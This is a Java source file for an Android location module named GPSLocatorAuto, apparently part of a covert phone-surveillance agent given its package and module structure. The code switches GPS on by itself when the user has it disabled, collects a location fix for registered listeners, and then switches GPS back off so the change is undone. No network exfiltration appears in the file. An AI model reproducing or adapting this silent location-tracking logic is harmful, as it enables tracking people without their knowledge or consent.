package com.android.dvci.module.position; import java.util.ArrayList; import java.util.List; import android.location.Location; import android.location.LocationListener; import android.os.Bundle; import android.os.Handler; import com.android.dvci.Status; import com.android.dvci.auto.Cfg; import com.android.dvci.util.Check; public class GPSLocatorAuto implements LocationListener, Runnable { private static final String TAG = "GPSLocatorAuto"; private static GPSLocatorAuto instance; // private boolean started = false; private List<GPSLocationListener> listeners; private GPSLocatorPeriod locator; private long stopDelay = 5 * 60 * 1000; private boolean gotValidPosition; private boolean turnedOn; private GPSLocatorAuto() { if (Cfg.DEBUG) { stopDelay = 2 * 60 * 1000; } listeners = new ArrayList<GPSLocationListener>(); } public static GPSLocatorAuto self() { if (instance == null) { synchronized (GPSLocatorAuto.class) { if (instance == null) { instance = new GPSLocatorAuto(); } } if (Cfg.DEBUG) { Check.log(TAG + " (self): new instance"); } } return instance; } /** * Lo start del module position chiama questo metodo che: lancia il * GPSLocator se necessario, contestualmente ad un timer di 5 minuti, al * termine del quale il GPSLocator viene chiuso. se ha una posizione valida * la restituisce via callback senno' aggiunge il richiedente alla lista, * che verra' svuotata al primo fix. * * @param listener */ public boolean start(GPSLocationListener listener) { try { synchronized (this) { if (locator == null) { if (Cfg.DEBUG) { Check.log(TAG + " (start): new GPSLocatorPeriod"); } locator = new GPSLocatorPeriod(this, 0); if (!locator.isGPSEnabled()) { if (locator.canToggleGPS()) { locator.turnGPSOn(); turnedOn = true; } else { if (Cfg.DEBUG) { Check.log(TAG + " (start): cannot start GPS"); } return false; } } locator.start(); } Handler handler = Status.self().getDefaultHandler(); handler.removeCallbacks(this); handler.postDelayed(this, stopDelay); } // listener.onLocationChanged(locator.getLastKnownPosition()); synchronized (listeners) { if (gotValidPosition) { if (Cfg.DEBUG) { Check.log(TAG + " (start): got Valid position, return it"); } listener.onLocationChanged(locator.getLastKnownPosition()); gotValidPosition = false; } else { if (!listeners.contains(listener)) { if (Cfg.DEBUG) { Check.log(TAG + " (start): adding to listeners"); } listeners.add(listener); } } } } catch (Exception ex) { listener.onLocationChanged(null); return false; } return true; } public void unregister(GPSLocationListener listener) { if (Cfg.DEBUG) { Check.log(TAG + " (unregister): unregistering to listeners"); } synchronized (listeners) { if (listeners.contains(listener)) { listeners.remove(listener); } if (listeners.isEmpty()) { stop(); } } } public void stop() { try { synchronized (this) { if (locator != null) { if (turnedOn) { locator.turnGPSOff(); } locator.halt(); } } synchronized (listeners) { listeners.clear(); } } catch (Exception ex) { if (Cfg.EXCEPTION) { Check.log(ex); } if (Cfg.DEBUG) { ex.printStackTrace(); Check.log(TAG + " " + ex); } } finally { locator = null; gotValidPosition = false; } } /** executed by handler postDelayed, 5 minutes after the last start */ public void run() { if (Cfg.DEBUG) { Check.log(TAG + " (run) passed without start: " + stopDelay); } for (GPSLocationListener listener : listeners) { if (Cfg.DEBUG) { Check.log(TAG + " (onLocationChanged): send location to: " + listener); } listener.onLocationChanged(null); } stop(); } /** * This method is called by the GPSLocator the first time it fixes */ public void onLocationChanged(Location location) { if (Cfg.DEBUG) { Check.log(TAG + " (onLocationChanged): new location: " + location); } synchronized (listeners) { gotValidPosition = true; for (GPSLocationListener listener : listeners) { if (Cfg.DEBUG) { Check.log(TAG + " (onLocationChanged): send location to: " + listener); } listener.onLocationChanged(location); } listeners.clear(); } } public void onProviderDisabled(String provider) { if (Cfg.DEBUG) { Check.log(TAG + " (onProviderDisabled)"); } } public void onProviderEnabled(String provider) { if (Cfg.DEBUG) { Check.log(TAG + " (onProviderEnabled)"); } } public void onStatusChanged(String provider, int status, Bundle extras) { if (Cfg.DEBUG) { Check.log(TAG + " (onStatusChanged)"); } } }